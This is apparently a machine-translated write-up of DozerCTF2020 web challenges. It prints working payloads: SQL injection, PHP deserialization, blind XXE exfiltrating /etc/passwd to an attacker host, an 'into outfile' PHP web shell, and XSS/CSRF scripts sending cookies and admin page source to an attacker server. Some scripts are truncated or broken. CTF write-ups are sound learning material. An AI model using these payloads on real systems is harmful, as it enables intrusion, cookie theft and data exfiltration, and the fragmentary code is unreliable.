DozerCTF2020 partial web recurrence

Keywords: PHP SQL shell encoding


A few days ago, in the competition, the web only made two check-in questions, and the question of domain penetration was put on hold for the time being. I thought I could reproduce the other web.


sqli-labs 0

SQL labs changed the question, tried many kinds of postures, but didn't let the id report the error. Later, the official gave a hint to try url secondary encoding (spray) successfully

In the previous test, it was found that select, union and so on were filtered. At first, I thought they were blind annotations, so I wrote a script to output the database

import requests

words = "Dumb"
result = ""
for i in range(1,20):
    for j in range(32,129):
        url = '**/and/**/ascii(substr(database(),{},1))>{}'.format(i,j)
        if words not in re:

But later, when I continued to run, I always reported a mistake, and only after I carefully looked at fuzz y did I find the point number. It was filtered..... So nothing can be used, only a tripod 2018 stack injection.

And then I tried, for example, the renamed payload. I don't know why it didn't work

In the end, I used handler

1%2527;handler uziuzi open as a;handler a read first;%2523

Deserialization of freehand

Open the target machine, give the code directly, audit a wave


class home
    private $method;
    private $args;  //Private type defines two variables
    function __construct($method, $args)
        $this->method = $method;
        $this->args = $args;

    function __destruct()
        if (in_array($this->method, array("mysys"))) {  //When method is mysys
            call_user_func_array(array($this, $this->method), $this->args);
        } //Call mysys function and call args as array parameter callback of mysys

    function mysys($path)
        print_r(base64_encode(exec("cat $path")));
    }//Print the result base64
    function waf($str)
        if (strlen($str) > 8) {
        }//Limit string length
        return $str;

    function __wakeup()
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;//Traverse $k and $V, and then calculate the space in $v. if it is greater than 2, then die
            if ($num > 2) {

if ($_GET['path']) {//If the incoming path deserializes the path
    $path = @$_GET['path'];
} else {


Although there are two WAFS, the restriction doesn't work, because whether there is a die or not, the destruct or__ Destroy will trigger at last, so as long as the method is' mysys' and args is an array parameter, and also because the method and args are private types, finally payload can be printed out by url


class home
    private $method='mysys';
    private $args=array('flag.php');
$a = new home();
echo urlencode(serialize($a));

After get is passed in, base64 can be decoded


This problem has been grinding for a long time, but it still hasn't been worked out... (dish to self closing)

Test point: bind xxe, ssrf

Opening the target is a svg test

Access to the target except for svg files will only be Unauthorized type!

bind xxe reference: XXE vulnerability exploitation skills: from XML to remote code execution

Two files are constructed on ecs: xxe.svg , xxe.dtd

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT svg ANY >
   <!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" >
   <svg height="100" width="1000">
<!ENTITY % show SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % data "<!ENTITY res SYSTEM 'http://yourip:your port/?%show;'>">

Then create an http service to listen to data,

request xxe.svg

You can see that the contents of / etc/passwd have been read out

Then we can start to read the data. According to the historical operation prompted by user r1ck, we can read / home/r1ck/.bash_history file content

cd /app
php -S

After learning that a PHP web service is enabled in the app directory, read index.php Source code of

<!doctype html>
<meta charset="UTF-8">
You Find Me .
Flag is nearby.


if ($_GET['id']){
    $id = $_GET['id'];
    $id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);


There is sql injection, and hint2 prompts to get the shell directly. You can use union to write the shell with the into outfile

-1' union select 1,'<?php system($_GET[cmd]);?>' into outfile'/app/shell.php'#

But if you can't enter directly, you can code it with hex. Because it's a get request, you can also handle it with url


Let's talk about it here. Let's start with / app/shell.php It's not successful. Maybe there's a file that can't be written? Just write another file name

Decoding is all the masters' shell s, and an H3re_1s_y0ur_f14g.php

Then cat reads

fake phpminiadmin

xss exists in the sql input box, which can be triggered after the payload hex is encoded


Examination point: csrf at content

Take the payload of xss platform and transfer the data to your own ecs

<script>(function(){(new Image()).src='http://yourip:yourport/index.php?do=api&id=XI0O1O&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();</script>

Then it seems that we can use burp to generate the payload of csrf. In the future, we will take the official one and create one on ecs xss.php , as follows

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="sql" value="select 0x hex Later payload" />

After creation, open a python http service on ecs and wait

Go back to the target machine and input at content xss.php Request address for

code is required for submission. After md5, the first six digits are 75d8be. The script will explode

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func('75d8be')

After we submit the content, the administrator accesses the content, then triggers the constructed xss and automatically submits the form in the sql input box, and the administrator's cookie and other contents are brought out.

Submit. We can see that the data has been returned on ecs

We can see that the background address is brought out. Here you can refer to This master Get the back-end source code from payload


function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
            } catch(e) {}
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        url = "http://ip:port"; //Here is the address accepted by the server
        cc = "htmlcode=" + code +"&filename=index.html";"POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.setRequestHeader("Referer", "");
        xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");
};"GET", "/admin_shark.php", true);//Fill in the background address obtained here.
xmlHttp.setRequestHeader("Cookie", "PHPSESSID=tjuhvnkki74v7qf4lfp41li347");

Again, after hex coding, put xss.php content request

Here, change to nc monitoring

Get source code and flag

Posted by jraede on Fri, 19 Jun 2020 22:18:36 -0700